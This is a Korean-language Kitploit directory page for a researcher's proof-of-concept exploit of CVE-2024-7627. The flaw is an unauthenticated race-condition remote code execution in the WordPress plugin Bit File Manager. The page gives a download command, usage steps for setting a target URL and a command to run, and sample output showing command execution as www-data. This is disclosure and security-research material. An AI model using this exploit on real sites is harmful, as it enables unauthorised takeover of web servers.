Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-7627-PoC — WordPress 플러그인 Bit File Manager 버전 6.0 - 6.5.5의 인증되지 않은 원격 코드 실행 취약점 (CVE-2024-7627, 경쟁 조건을 통한)에 대한 PoC 스크립트 | Kitploit
도구/GitHubGitHub/siunam321/cve-2024-7627-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubsiunam321/cve-2024-7627-poc

CVE-2024-7627-PoC

WordPress 플러그인 Bit File Manager 버전 6.0 - 6.5.5의 인증되지 않은 원격 코드 실행 취약점 (CVE-2024-7627, 경쟁 조건을 통한)에 대한 PoC 스크립트

저장소 보기
6221년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-7627-PoC

배경

이 PoC(Proof-of-Concept) 스크립트는 WordPress 플러그인 Bit File Manager 버전 6.0~6.5.5의 인증되지 않은 원격 코드 실행(Race Condition을 통한)(CVE-2024-7627) 취약점을 위한 것입니다.

정보

설명:

WordPress용 Bit File Manager 플러그인은 'checkSyntax' 함수를 통해 버전 6.0~6.5.5에서 원격 코드 실행에 취약합니다. 이는 파일 유효성 검사를 수행하기 전에 임시 파일을 공개적으로 접근 가능한 디렉터리에 쓰기 때문입니다. 이로 인해 관리자가 게스트 사용자 읽기 권한을 허용한 경우 인증되지 않은 공격자가 서버에서 코드를 실행할 수 있습니다. (출처: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)

기술 세부 정보

분석 문서: https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/#flawedmissing-permission-check---bit-file-manager-rce-via-race-condition

설치

wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py

사용법/익스플로잇

  • 전제 조건: 게스트 사용자 접근과 단축 코드 file-manager가 관리자에 의해 이미 설정되어 있어야 합니다.

Python 스크립트 poc.py의 targetBaseUrl, fileManagerPostPath, commandToExecute를 원하는 값으로 업데이트하세요. 그런 다음 python3 poc.py를 실행하여 PoC 스크립트를 실행합니다.

예제 출력:

└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6
도구 다운로드